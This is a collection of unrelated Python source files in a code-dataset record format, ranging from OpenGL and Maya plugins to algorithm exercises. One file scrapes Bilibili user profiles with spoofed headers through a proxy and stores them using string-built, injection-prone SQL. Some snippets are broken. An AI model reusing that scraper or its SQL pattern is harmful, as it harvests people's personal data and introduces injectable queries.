json\nfrom CoordinateTrace import CoordinateTrace\nimport Line\n\n# Motor Step file.\n\nclass MotorStep:\n\n def __init__(self, ct=None, motor_sequence=(), name=None, safe_height=None, origin=None):\n self.name = ct.name if ct is not None else name\n self.safe_height = ct.safe_height if ct is not None else safe_height\n self.motor_sequence = motor_sequence\n self.coordinates = ct.coordinates if ct is not None else []\n self.origin = ct.coordinates[0] if ct is not None else origin\n\n @staticmethod\n def character(v):\n out = 0b0\n for x in range(3):\n if v[x] == 1:\n out |= 0b1 << x\n elif v[x] == -1:\n out |= 0b1000 << x\n return chr(out)\n\n @staticmethod\n def array(c):\n c = ord(c)\n out = [0, 0, 0]\n for x in range(3):\n if c & (0b1 << x) != 0:\n out[x] = 1\n elif c & (0b1000 << x) != 0:\n out[x] = -1\n return out\n\n def generate_step_sequence(self):\n current_position = self.origin\n le = len(self.coordinates)\n out = ''\n for x in range(1, le):\n next_position = self.coordinates[x]\n sequence = Line.calculate_motor_sequence(current_position, next_position)\n out += ''.join([MotorStep.character(v) for v in sequence])\n current_position = next_position\n return out\n\n def extract_motor_sequence(self):\n sequences = []\n for x in self.motor_sequence:\n sequences.append(MotorStep.array(x))\n return sequences\n\n def export(self, path):\n f = open(path + self.name + '.mstp', 'w')\n f.write(json.dumps({'name': self.name, 'safe-height': self.safe_height,\n 'origin': self.origin, 'sequence': self.generate_step_sequence()}))\n f.close()\n\n @staticmethod\n def load(filename):\n with open(filename, 'r') as file:\n data = json.loads(file.read())\n return MotorStep(name=data['name'], origin=data['origin'], motor_sequence=data['sequence'], safe_height=data['safe-height'])\n","sub_path":"MotorStep.py","file_name":"MotorStep.py","file_ext":"py","file_size_in_byte":2149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"405817842","text":"from Tkinter import *\nimport ttk\nfrom db_tools import family_tools\nfrom db_tools import person_tools\nfrom db_tools import input_validation\nfrom db_tools import terminus_tools\nfrom db_tools import location_tools\nfrom db_tools import relationship_tools\n\nclass ChildPage():\n def __init__(self,notebook,height,width):\n self.nb = notebook\n self.page_height = height\n self.page_width = width\n self.config_page()\n self.config_widgets()\n\n def config_page(self):\n self.page = ttk.Frame(self.nb,width=self.page_width,height=self.page_height)\n self.nb.add(self.page, text='Add Child')\n\n def config_widgets(self):\n # Child\n child_label = Label(self.page)\n child_label['text'] = 'Child'\n child_label.grid(row=0, column=0, sticky=E)\n\n orphans = relationship_tools.list_orphans()\n self.orphan_list = self.build_name_list(orphans)\n\n self.child_list = ttk.Combobox(self.page)\n self.child_list['values'] = [i[0] for i in self.orphan_list]\n self.child_list['width'] = 30\n self.child_list.grid(row=0,column=1,columnspan=4, sticky=W)\n\n # Mother\n mother_label = Label(self.page)\n mother_label['text'] = 'Mother'\n mother_label.grid(row=1, column=0, sticky=E)\n\n females = relationship_tools.list_females()\n self.female_list = self.build_name_list(females)\n\n self.mother_list = ttk.Combobox(self.page)\n self.mother_list['values'] = [i[0] for i in self.female_list]\n self.mother_list['width'] = 30\n self.mother_list.grid(row=1,column=1,columnspan=4, sticky=W)\n\n # Father\n father_label = Label(self.page)\n father_label['text'] = 'Father'\n father_label.grid(row=2, column=0, sticky=E)\n\n males = relationship_tools.list_males()\n self.male_list = self.build_name_list(males)\n\n self.father_list = ttk.Combobox(self.page)\n self.father_list['values'] = [i[0] for i in self.male_list]\n self.father_list['width'] = 30\n self.father_list.grid(row=2,column=1,columnspan=4, sticky=W)\n\n clear_button = Button(self.page)\n clear_button['text'] = 'Clear'\n clear_button['command'] = self.clear_values\n clear_button.grid(row=10, column=1,sticky=E)\n\n submit_button = Button(self.page)\n submit_button['text'] = 'Submit'\n submit_button['command'] = self.submit_values\n submit_button.grid(row=10, column=2,sticky=E)\n\n self.nb.grid(column=0)\n\n def build_name_list(self,person_dict):\n people = []\n for person in person_dict:\n if person['middle']:\n name = '{0} {1} {2}'.format(person['first'],person['middle'], person['last'])\n else:\n name = '{0} {1}'.format(person['first'],person['last'])\n people.append([name,person['id']])\n people.sort(key=lambda i: i[0])\n return people\n\n def clear_values(self):\n self.child_list.set('')\n self.mother_list.set('')\n self.father_list.set('')\n\n def submit_values(self):\n child_id = self.orphan_list[self.child_list.current()][1]\n mother_id = self.female_list[self.mother_list.current()][1]\n father_id = self.male_list[self.father_list.current()][1]\n\n if child_id and mother_id:\n relationship_tools.add_child(child_id,mother_id)\n if child_id and father_id:\n relationship_tools.add_child(child_id,father_id)\n","sub_path":"app/pages/two.py","file_name":"two.py","file_ext":"py","file_size_in_byte":3498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"23399613","text":"#!/usr/bin/python3\n\"\"\" Fetches from intranet.hbtn.io/status \"\"\"\nimport requests\nimport sys\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 2:\n sys.argv.append(\"\")\n res = requests.post('http://0.0.0.0:5000/search_user',\n data={'q': sys.argv[1]})\n try:\n if res.json() == {}:\n print('No result')\n else:\n print(\"[{}] {}\".format(res.json().get('id'),\n res.json().get('name')))\n except ValueError as e:\n print('Not a valid JSON')\n","sub_path":"0x11-python-network_1/8-json_api.py","file_name":"8-json_api.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"603767151","text":"# -*-coding:utf8-*-\nimport json\nimport multiprocessing.dummy\nfrom multiprocessing.dummy import Pool as ThreadPool\nfrom multiprocessing.dummy import Lock as ThreadLock\nimport sys\nimport getpass\nimport datetime\nimport time, random\nimport traceback\nimport requests # 第三方库\nimport pymysql # 第三方库\nimport pymysql.cursors\nimport pymysql.err\n\nDEBUG = False\n\nurls = []\nhead = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',\n 'X-Requested-With': 'XMLHttpRequest',\n 'Referer': 'http://space.bilibili.com/2845952/',\n 'Origin': 'http://space.bilibili.com',\n 'Host': 'space.bilibili.com',\n 'AlexaToolbar-ALX_NS_PH': 'AlexaToolbar/alx-4.0',\n 'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6,ja;q=0.4',\n 'Accept': 'application/json, text/javascript, */*; q=0.01',\n}\nPROX = {\n 'http': '127.0.0.1:8087',\n 'https': 'http://127.0.0.1:8087',\n}\nBASE_NAME = 'bilibili_info'\nTABLE_NAME = 'user_info'\nUSER_NAME = 'frankg'\nCREATE_DB_SENTENCE = r\"\"\"CREATE DATABASE IF NOT EXISTS %s;\"\"\"%BASE_NAME\nCREATE_TABLE_SENTENCE = r\"\"\"\n CREATE TABLE IF NOT EXISTS `%s`(\n `id` int(11) unsigned NOT NULL AUTO_INCREMENT,\n `mid` varchar(11) DEFAULT NULL,\n `name` varchar(45) DEFAULT NULL,\n `sex` varchar(11) DEFAULT NULL,\n `face` varchar(200) DEFAULT NULL,\n `coins` int(11) DEFAULT NULL,\n `regtime` varchar(45) DEFAULT NULL,\n `spacesta` int(11) DEFAULT NULL,\n `birthday` varchar(45) DEFAULT NULL,\n `place` varchar(45) DEFAULT NULL,\n `description` varchar(450) DEFAULT NULL,\n `article` int(11) DEFAULT NULL,\n `fans` int(11) DEFAULT NULL,\n `friend` int(11) DEFAULT NULL,\n `attention` int(11) DEFAULT NULL,\n `sign` varchar(300) DEFAULT NULL,\n `attentions` text,\n `level` int(11) DEFAULT NULL,\n `exp` int(11) DEFAULT NULL,\n PRIMARY KEY (`id`)\n ) ENGINE=MyISAM DEFAULT CHARSET=utf8;\"\"\"%TABLE_NAME\nLOWER_BOUND = 25000\nUPPER_BOUND = 25200\nmyCount = 0\nmyTotle = UPPER_BOUND-LOWER_BOUND\nTIME1 = 0.\nLEN_MAX = 40\nCOLUMNS = (\n 'mid', 'name', 'sex', 'face', 'coins', 'regtime', 'spacesta', \n 'birthday', 'place', 'description', 'article', 'fans', 'friend', 'attention', 'sign', 'attentions', 'level', 'exp', \n)\nLOG_FILE = open('log.txt', 'w+', encoding='utf8')\npswd = None\nmyClock = 0\n\ndef datetime_to_timestamp_in_milliseconds(d):\n cursorrent_milli_time = lambda: int(round(time.time() * 1000))\n return cursorrent_milli_time()\ndef logWrite(x): \n global myClock\n if float(time.clock()) - myClock > 10:\n myClock = float(time.clock())\n print(time.strftime('\\n%m-%d %H:%M:%S', time.localtime(time.time())), file=LOG_FILE)\n print(x, file=LOG_FILE)\n\ndef lenPrint():\n global myCount\n myCount += 1\n buf = '\\r'\n n = int(float(myCount)/float(myTotle)*float(LEN_MAX) + .5)\n buf = buf + '■'*n + '__'*(LEN_MAX-n)\n buf = buf + '|'+str(myCount)+'/'+str(myTotle)\n print(buf, end = '')\n return\n\ndef strHandle(string):\n string = string.replace(\"\\\\\", \"\\\\\\\\\") # 将 \\ 替换为 \\\\\n # string = string.replace(r\"'\", r\"\\'\")\n string = string.replace(r\"↵\", r\"\")\n string = string.replace('\"', \"\\\"\")\n\n return '\"'+string+'\"' # 返回结果用双引号包括\n\ndef genInfoTuple(dic):\n res = []\n for item in COLUMNS:\n if item in dic.keys(): # has\n if item=='regtime': # regtime needs special handle\n res.append(\"'\" + str(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(dic[item]))) + \"'\")\n elif item=='sign': # special handle\n res.append(strHandle(dic[item]))\n elif item=='description':\n res.append(strHandle(dic[item]))\n elif dic[item] == '': # make '' NULL\n res.append('NULL')\n else:\n ap = \"'\"+str(dic[item])+\"'\"\n # ap = \"'\"+str(dic[item]).replace(\"'\", \"''\")+\"'\"\n res.append(ap)\n elif item=='level': # needs special handle\n res.append(\"'\" + str(dic['level_info']['current_level']) + \"'\")\n elif item=='exp': # special\n res.append(\"'\" + str(dic['level_info']['current_exp']) + \"'\")\n else:\n res.append('NULL')\n return tuple(res)\ndef genInsertTuple(tup, dic):\n res = (TABLE_NAME, \"'\"+str(dic['mid'])+\"'\") + tup\n return res\n\ndef genUpdateTuple(tup, dic):\n res = (TABLE_NAME,) + tup + (\"'\"+str(dic['mid'])+\"'\", )\n return res\ndef jsLoad(jsCont):\n try:\n return json.loads(jsCont)\n except json.decoder.JSONDecodeError as ex:\n logWrite('json error.')\n print(jsCont, file=LOG_FILE)\n traceback.print_exc(file=LOG_FILE)\n return None\n except Exception as ex:\n logWrite('unknown error.')\n traceback.print_exc(file = LOG_FILE)\n return None\n\ndef getSource(tup):\n global myCount, lock\n mid, myCursor = tup\n payload = {\n '_': datetime_to_timestamp_in_milliseconds(datetime.datetime.now()),\n 'mid':str(mid)\n }\n\n # POST method\n time.sleep(2*random.random())\n returnPage = requests.post('http://space.bilibili.com/ajax/member/GetInfo', headers=head, data=payload\n , proxies=PROX\n )\n if returnPage.status_code == 404:\n logWrite('page status 404 for mid = '%mid)\n myCount += 1\n return\n if returnPage.status_code == 403:\n time.sleep(10)\n if returnPage.status_code != 200:\n # print(returnPage.status_code)\n logWrite('POST failed for mid = %d, status = %s, retry...'%(mid, returnPage.status_code))\n time.sleep(2)\n returnPage = requests.post('http://space.bilibili.com/ajax/member/GetInfo', headers=head, data=payload\n , proxies=PROX\n )\n if returnPage.status_code != 200:\n myCount+=1\n logWrite('POST failed for mid = %d, status = %s'%(mid, returnPage.status_code))\n return\n jsContent = returnPage.content\n\n try: \n # decode jsContent\n jsContent = jsContent.decode() # TODO:reduce except\n except Exception as ex:\n logWrite('unknown Exception')\n traceback.print_exc(file=LOG_FILE)\n myCount += 1\n return\n # js load\n jsDict = jsLoad(jsContent)\n if jsDict is None:\n myCount += 1\n return\n\n if jsDict['status'] == False: # status wrong\n logWrite('jsData[\\'status\\'] == False when mid = %d'%mid)\n myCount += 1\n return\n\n # generate info tuple\n jsData = jsDict['data']\n info = genInfoTuple(jsData)\n\n lock.acquire() # lock\n try:\n # if id exist in table\n myCursor.execute(\n r'''select 1 from user_info where id=%d limit 1;'''%mid\n )\n # not exists\n if len(myCursor.fetchall())==0:\n execSentence = r\"\"\"INSERT INTO %s\n ( id , mid , name , sex , face , coins , regtime , spacesta , birthday , place , description , \n article , fans , friend , attention , sign , attentions , level , exp )\n VALUES \n ( %s , %s , %s , %s , %s , %s , %s, %s , %s, %s , %s ,\n %s , %s , %s , %s , %s , %s , %s , %s );\"\"\"%genInsertTuple(info, jsData)\n \n myCursor.execute(execSentence)\n lenPrint()\n logWrite('inserted mid %d'%mid)\n else:\n execSentence = r\"\"\"UPDATE %s SET\n mid=%s, name=%s, sex=%s, face=%s, coins=%s, regtime=%s, spacesta=%s, birthday=%s, place=%s, description=%s, \n article=%s, fans=%s, friend=%s, attention=%s, sign=%s, attentions=%s, level=%s, exp=%s\n WHERE id=%s;\"\"\"%genUpdateTuple(info, jsData)\n myCursor.execute(execSentence)\n lenPrint()\n logWrite('updated mid %d'%mid)\n except pymysql.err.ProgrammingError as ex:\n logWrite(str(ex))\n print(execSentence, file=LOG_FILE)\n traceback.print_exc(file=LOG_FILE)\n except Exception as ex:\n logWrite('unknown Exception: %s'%str(ex))\n print(execSentence, file=LOG_FILE)\n traceback.print_exc(file=LOG_FILE)\n quit()\n finally:\n lock.release() # lock\n\ndef login():\n try:\n global pswd\n if pswd is None:\n pswd = getpass.getpass(\"input your password for user %s:\"%USER_NAME)\n connection = pymysql.connect(\n host='localhost', \n user=USER_NAME, passwd=pswd, \n port=3306, charset='utf8')\n # pswd = ''\n return connection\n except pymysql.err.OperationalError as ex:\n if ex.args[0] != 1045:\n raise ex\n else:\n print('Access denied. Try to input password again.')\n pwsd = None\n return login()\n\ndef debug(tup):\n i, cursor = tup\n global lock\n lock.acquire()\n # print(i, '\\t', cursor)\n # cursor.execute(\n # r\"\"\"UPDATE user_info SET\n # mid=%d, name='牛逼', sex='男', face='baidu.com', coins=0, regtime=0, spacesta=0, birthday=0, place='Beijing', description='我是赵日天', \n # article=NULL, fans=NULL, friend=NULL, attention=NULL, sign=NULL, attentions=NULL, level='%d', exp=NULL\n # WHERE id=%d;\"\"\"%(i, i, i)\n # )\n cursor.execute(\n r'''select 1 from user_info where id=%d limit 1;'''%(i*10)\n )\n res = cursor.fetchall()\n print(res)\n print(len(res))\n lock.release()\n\ndef myInput():\n global LOWER_BOUND, UPPER_BOUND, myTotle\n # TODO:finish\n\n\n myTotle = UPPER_BOUND-LOWER_BOUND\n\nif __name__ == \"__main__\":\n # myInput()\n \n # 连接数据库\n connection = login()\n myCursor = connection.cursor()\n myCursor.execute(CREATE_DB_SENTENCE)\n myCursor.execute('USE %s'%BASE_NAME)\n myCursor.execute(CREATE_TABLE_SENTENCE)\n \n # 生成target, 线程池并 map\n TIME1 = time.time()\n pool = ThreadPool(16)\n lock = ThreadLock()\n target = [\n (i, myCursor) \n for i in range(LOWER_BOUND, UPPER_BOUND)\n ]\n if not DEBUG:\n pool.map(getSource, target)\n else:\n pool.map(debug, target)\n pool.close()\n\n # 关闭数据库连接\n connection.commit()\n connection.close()\n LOG_FILE.close()\n","sub_path":"bilibili_user.py","file_name":"bilibili_user.py","file_ext":"py","file_size_in_byte":10666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"242599258","text":"names = 'Julian Bob PyBites Dante Martin Rodolfo'.split()\r\ncountries = 'Australia Spain Global Argentina USA Mexico'.split()\r\n\r\n\r\ndef enumerate_names_countries():\r\n \"\"\"Outputs:\r\n 1. Julian Australia\r\n 2. Bob Spain\r\n 3. PyBites Global\r\n 4. Dante Argentina\r\n 5. Martin USA\r\n 6. Rodolfo Mexico\"\"\"\r\n en = enumerate(zip(names, countries))\r\n for i, name_country in en:\r\n print('{}. {:10} {}'.format(i+1,name_country[0], name_country[1]))\r\n","sub_path":"235/enumerate_data.py","file_name":"enumerate_data.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"255790594","text":"import sys\ntry: sys.float_info\nexcept:\n\tclass SysFloatInfoAttribute:\n\t\tepsilon = 2.2204460492503131e-16\n\tsys.float_info = SysFloatInfoAttribute()\nfrom mayaPY.core import *\n\nclass averagePosition(ompx.MPxNode):\n\n\t## the name of the nodeType\n\tkPluginNodeTypeName = 'ml_avgPos'\n\t## the unique MTypeId for the node\n\tkPluginNodeId = om.MTypeId(0x00033334)\n\n\t# input attributes\n\t## input array\n\tinputAttr = None\n\tkInputAttrName = 'in'\n\tkInputAttrLongName = 'input'\n\n\t# output attributes\n\t## the arithmetic mean of all the numbers in input array\n\toutput = None\n\tkOutputAttrName = 'out'\n\tkOutputAttrLongName = 'output'\n\n\tdef __init__(self):\n\t\tompx.MPxNode.__init__(self)\n\n\tdef compute(self, plug, dataBlock):\n\n\t\tif (plug == averagePosition.outputAttr):\n\t\t\t# get the incoming data\n\t\t\tarrayDataHandle = om.MArrayDataHandle(dataBlock.inputValue(averagePosition.inputAttr))\n\t\t\t# compute output\n\t\t\toutput = [0.0, 0.0, 0.0]\n\n\t\t\tif arrayDataHandle.elementCount() > 0:\n\n\t\t\t\tfor i in range(arrayDataHandle.elementCount()):\n\n\t\t\t\t\tfor c in range(3):\n\t\t\t\t\t\toutput[c] += arrayDataHandle.inputValue().asDouble3()[c]\n\n\t\t\t\t\tif i != (arrayDataHandle.elementCount()-1):\n\n\t\t\t\t\t\tarrayDataHandle.next()\n\n\t\t\t\toutput = [output[c]/arrayDataHandle.elementCount() for c in range(3)]\n\n\t\t\telse:\n\t\t\t\tpass\n\n\t\t\t# set the outgoing plug\n\t\t\tdataHandle = om.MDataHandle(dataBlock.outputValue(averagePosition.outputAttr))\n\t\t\tdataHandle.set3Double(output[0], output[1], output[2])\n\t\t\tdataBlock.setClean(plug)\n\t\telse: return om.kUnknownParameter\n\n\t@classmethod\n\tdef nodeCreator(cls):\n\t\treturn ompx.asMPxPtr(cls())\n\n\t@classmethod\n\tdef nodeInitializer(cls):\n\t\t# input attributes\n\t\t# first input vector\n\t\tdaAttr = om.MFnNumericAttribute()\n\t\tcls.inputAttr = daAttr.create(cls.kInputAttrLongName, cls.kInputAttrName, om.MFnNumericData.k3Double)\n\t\tdaAttr.setKeyable(True)\n\t\tdaAttr.setArray(True)\n\t\tdaAttr.setReadable(False)\n\t\tdaAttr.setIndexMatters(False)\n\t\tdaAttr.setDisconnectBehavior(om.MFnNumericAttribute.kDelete)\n\n\t\t# ouput attributes\n\t\t# output number\n\t\tdAttr = om.MFnNumericAttribute()\n\t\tcls.outputAttr = dAttr.create(cls.kOutputAttrLongName, cls.kOutputAttrName, om.MFnNumericData.k3Double)\n\t\tdAttr.setWritable(False)\n\t\tdAttr.setStorable(False)\n\n\t\t# add the attributes\n\t\tcls.addAttribute(cls.inputAttr)\n\t\tcls.addAttribute(cls.outputAttr)\n\n\t\t# establish effects on output\n\t\tcls.attributeAffects(cls.inputAttr, cls.outputAttr)\n\n","sub_path":"mayaPY/core/plugin/nodes/avgPos.py","file_name":"avgPos.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"299457100","text":"firstNumber = int(input(\"podaj dolny zakres: \"))\r\nsecondNumber = int(input(\"podaj górny zakres: \"))\r\nsum = 0\r\nhowManyTimes = 0\r\nfor i in range(firstNumber, secondNumber + 1):\r\n if i % 2 != 0 and i>0:\r\n sum = sum + i\r\n howManyTimes += 1\r\n else:\r\n continue\r\n\r\nprint(sum/howManyTimes)","sub_path":"zadanie domowe 3.py","file_name":"zadanie domowe 3.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"504289098","text":"from OpenGL.GL import *\n\nclass CubeClass():\n\n\n def __init__(self, id_row, id_col, offset):\n\n self.rotation = 0\n self.rotation_change = 0\n self.rotation_current = 0\n\n self.x = (-2*offset + id_col*offset)\n self.y = (2*offset - id_row*offset)\n self.z = 0\n\n self.id_row = id_row\n self.id_col = id_col\n\n self.tex_x_begin = (self.x + (2.0 * offset))/(5.0 * offset)\n self.tex_x_end = (self.x + (2.0 * offset))/(5.0 * offset) + 0.2\n self.tex_y_begin = (self.y + (2.0 * offset))/(5.0 * offset)\n self.tex_y_end = (self.y + (2.0 * offset))/(5.0 * offset) + 0.2\n\n self.active_color = 0.2\n self.color = (1 * self.active_color, 1 * self.active_color, 1 * self.active_color)\n\n self.vertices = (\n (1, -1, -1),\n (1, 1, -1),\n (-1, 1, -1),\n (-1, -1, -1),\n (1, -1, 1),\n (1, 1, 1),\n (-1, -1, 1),\n (-1, 1, 1)\n )\n\n self.faces = (\n (0, 1, 2, 3),\n (3, 2, 7, 6),\n (4, 5, 1, 0),\n (6, 7, 5, 4),\n (1, 5, 7, 2),\n (4, 0 , 3, 6)\n )\n\n def colorUpdate(self):\n self.color = (1 * self.active_color, 1 * self.active_color, 1 * self.active_color)\n\n def rotateRight(self):\n self.rotation = (self.rotation + 90)%360\n self.rotation_change = 10\n\n def rotateLeft(self):\n self.rotation = (self.rotation - 90)%360\n self.rotation_change = -10\n\n def push(self, x, y):\n self.x = self.x + x\n self.y = self.y + y\n\n def activate(self):\n self.active_color = 1\n self.colorUpdate()\n\n def deactivate(self):\n self.active_color = 0.2\n self.colorUpdate()\n\n def activateNeighbour(self):\n self.active_color = 0.55\n self.colorUpdate()\n\n def draw(self, texture):\n\n glPushMatrix()\n glTranslate(self.x,self.y, self.z)\n if self.rotation_current != self.rotation:\n self.rotation_current = (self.rotation_current + self.rotation_change)%360\n glRotatef(self.rotation_current, 0, 0, 1)\n glBindTexture(GL_TEXTURE_2D, texture)\n glBegin(GL_TRIANGLES)\n for face in self.faces:\n glColor3fv(self.color)\n glTexCoord2f(self.tex_x_begin, self.tex_y_begin);\n glVertex3fv(self.vertices[face[0]])\n glTexCoord2f(self.tex_x_begin, self.tex_y_end);\n glVertex3fv(self.vertices[face[1]])\n glTexCoord2f(self.tex_x_end, self.tex_y_begin);\n glVertex3fv(self.vertices[face[3]])\n\n glTexCoord2f(self.tex_x_end, self.tex_y_end);\n glVertex3fv(self.vertices[face[2]])\n glTexCoord2f(self.tex_x_end, self.tex_y_begin);\n glVertex3fv(self.vertices[face[3]])\n glTexCoord2f(self.tex_x_begin, self.tex_y_end);\n glVertex3fv(self.vertices[face[1]])\n glEnd()\n glPopMatrix()","sub_path":"Puzzle_3D/CubeClass.py","file_name":"CubeClass.py","file_ext":"py","file_size_in_byte":2983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"120280888","text":"'''\nbinary search\n\n300. Longest Increasing Subsequence\nGiven an unsorted array of integers, find the length of longest increasing subsequence.\n\nFor example,\nGiven [10, 9, 2, 5, 3, 7, 101, 18],\nThe longest increasing subsequence is [2, 3, 7, 101], therefore the length is 4. Note that there may be more than one LIS combination, it is only necessary for you to return the length.\n\nYour algorithm should run in O(n2) complexity.\n\nFollow up: Could you improve it to O(n log n) time complexity?\n'''\nclass Solution(object):\n def lengthOfLIS(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n\n if not nums:\n return len(nums)\n memo = [1] * len(nums)\n for i in range(len(nums)):\n for j in range(0, i):\n if nums[j] < nums[i]:\n print(memo)\n memo[i] = max(memo[i], memo[j] + 1)\n return max(memo)\n\n# O(nlogn) solution\nclass Solution(object):\n def lengthOfLIS(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n if not nums:\n return 0\n # idea: use memo to record current LIS, for n in nums replace all value = 第一個大於等於我的人\n LIS = [nums[0]]\n for n in nums[1:]:\n if n > LIS[-1]:\n LIS.append(n)\n else:\n for i, v in enumerate(LIS):\n if n <= v:\n LIS[i] = n\n break\n return len(LIS)\n\nif __name__ == '__main__':\n nums = [10, 9, 2, 5, 3, 7, 101, 18]\n nums = [2, 15, 3, 7, 8, 6, 19]\n res = Solution().lengthOfLIS(nums)\n print(res)\n","sub_path":"300_thirdAttempt.py","file_name":"300_thirdAttempt.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"240780796","text":"import torch\r\n\r\nfrom rlpyt.algos.pg.base import PolicyGradientAlgo, OptInfo\r\nfrom rlpyt.agents.base import AgentInputs, AgentInputsRnn\r\nfrom rlpyt.utils.tensor import valid_mean\r\nfrom rlpyt.utils.quick_args import save__init__args\r\nfrom rlpyt.utils.buffer import buffer_to, buffer_method\r\nfrom rlpyt.utils.collections import namedarraytuple\r\nfrom rlpyt.utils.misc import iterate_mb_idxs\r\n\r\nLossInputs = namedarraytuple(\"LossInputs\",\r\n [\"agent_inputs\", \"action\", \"return_\", \"advantage\", \"valid\", \"old_dist_info\"])\r\n\r\nclass VIME(PolicyGradientAlgo):\r\n\r\n def __init__(\r\n self,\r\n OptimCls=torch.optim.Adam,\r\n discount=0.99,\r\n learning_rate=0.001,\r\n value_loss_coeff=1,\r\n entropy_loss_coeff=0.01,\r\n optim_kwargs=None,\r\n clip_grad_norm=1,\r\n initial_optim_state_dict=None,\r\n gae_lambda=1,\r\n minibatches=4,\r\n epochs=4,\r\n ratio_clip=0.1,\r\n linear_lr_schedule=True,\r\n normalize_advantage=False,\r\n bootstrap_timelimit=0,\r\n step_size=1e-2):\r\n save__init__args(locals())\r\n\r\n def initialize(self, *args, **kwargs):\r\n super().initialize(*args, **kwargs)\r\n self._batch_size = self.batch_spec.size // self.minibatches\r\n if self.linear_lr_schedule:\r\n self.lr_scheduler = torch.optim.lr_scheduler.LambdaLR(\r\n optimizer=self.optimizer,\r\n lr_lambda=lambda itr: (self.n_itr - itr) / self.n_itr\r\n )\r\n self._ratio_clip = self.ratio_clip\r\n\r\n def optimize_agent(self, itr, samples):\r\n recurrent = self.agent.recurrent\r\n agent_inputs = AgentInputs(\r\n observation=samples.env.observation,\r\n prev_action=samples.agent.prev_action,\r\n prev_reward=samples.env.prev_reward\r\n )\r\n agent_inputs = buffer_to(agent_inputs, device=self.agent.device)\r\n return_, advantage, valid = self.process_returns(samples)\r\n\r\n loss_inputs = LossInputs(\r\n agent_inputs=agent_inputs,\r\n action=samples.agent.action,\r\n return_=return_,\r\n advantage=advantage,\r\n valid=valid,\r\n old_dist_info=samples.agent.agent_info.dist_info,\r\n )\r\n\r\n if recurrent:\r\n init_rnn_state = samples.agent.agent_info.prev_rnn_state[0]\r\n T, B = samples.env.reward.shape[:2]\r\n opt_info = OptInfo(*([] for _ in range(len(OptInfo._fields))))\r\n\r\n batch_size = B if self.agent.recurrent else T * B\r\n mb_size = batch_size // self.minibatches\r\n\r\n for _ in range(self.epochs):\r\n for idxs in iterate_mb_idxs(batch_size, mb_size, shuffle=True):\r\n T_idxs = slice(None) if recurrent else idxs % T\r\n B_idxs = idxs if recurrent else idxs // T\r\n self.optimizer.zero_grad()\r\n rnn_state = init_rnn_state[B_idxs] if recurrent else None\r\n\r\n loss, entropy, perplexity = self.loss(\r\n *loss_inputs[T_idxs, B_idxs], rnn_state)\r\n loss.backward()\r\n grad_norm = torch.nn.utils.clip_grad_norm_(\r\n self.agent.parameters(), self.clip_grad_norm)\r\n self.optimizer.step()\r\n\r\n opt_info.loss.append(loss.item())\r\n opt_info.gradNorm.append(grad_norm)\r\n opt_info.entropy.append(entropy.item())\r\n opt_info.perplexity.append(perplexity.item())\r\n if self.linear_lr_schedule:\r\n self.lr_scheduler.step()\r\n self.ratio_clip = self._ratio_clip * (self.n_itr - itr) / self.n_itr\r\n\r\n return opt_info\r\n\r\n def loss(self, agent_inputs, action, return_, advantage, valid, old_dist_info,\r\n init_rnn_state=None):\r\n if init_rnn_state is not None:\r\n init_rnn_state = buffer_method(init_rnn_state, \"transpose\", 0, 1)\r\n init_rnn_state = buffer_method(init_rnn_state, \"contiguous\")\r\n dist_info, value, _rnn_state = self.agent(*agent_inputs, init_rnn_state)\r\n\r\n else:\r\n dist_info, value = self.agent(*agent_inputs)\r\n\r\n dist = self.agent.distribution\r\n\r\n lr = dist.likelihood_ratio(action, old_dist_info=old_dist_info, new_dist_info=dist_info)\r\n kl = dist.kl(old_dist_info=old_dist_info, new_dist_info=dist_info)\r\n\r\n if init_rnn_state is not None:\r\n raise NotImplementedError\r\n else:\r\n mean_kl = valid_mean(kl)\r\n surr_loss = -valid_mean(lr * advantage)\r\n\r\n loss = surr_loss\r\n entropy = dist.mean_entropy(dist_info, valid)\r\n perplexity = dist.mean_perplexity(dist_info, valid)\r\n\r\n return loss, entropy, perplexity\r\n","sub_path":"rlpyt/algos/exploration/vime.py","file_name":"vime.py","file_ext":"py","file_size_in_byte":4798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"18408141","text":"from get_from_bs import get_info\r\nimport threading\r\nfile1='./index_f.html'\r\nfile2='./tongxun.html'\r\n\r\nbs1=get_info()\r\nbs2=get_info()\r\ntag='div'\r\natt={'class':'content'}\r\nrep=\"a[href]\"\r\n# li=bs1.bs_find(tag, att)\r\n# li=bs1.bs_select(rep)\r\n# htm=bs1.link_page(url)\r\nhtm1=bs1.read_file(file1)\r\nli=bs1.bs_find(tag, att)\r\nl=bs1.bs_select(rep)\r\nhtm2=bs2\r\nprint(l)\r\nthreading.Thread(target=read_server, args=(s, )).start()","sub_path":"bs_for_debug.py","file_name":"bs_for_debug.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"100810621","text":"#coding=utf-8\nfrom flask_cors import CORS\nfrom flask import Flask,request\nimport base64\nimport json\nimport time\nimport pymysql 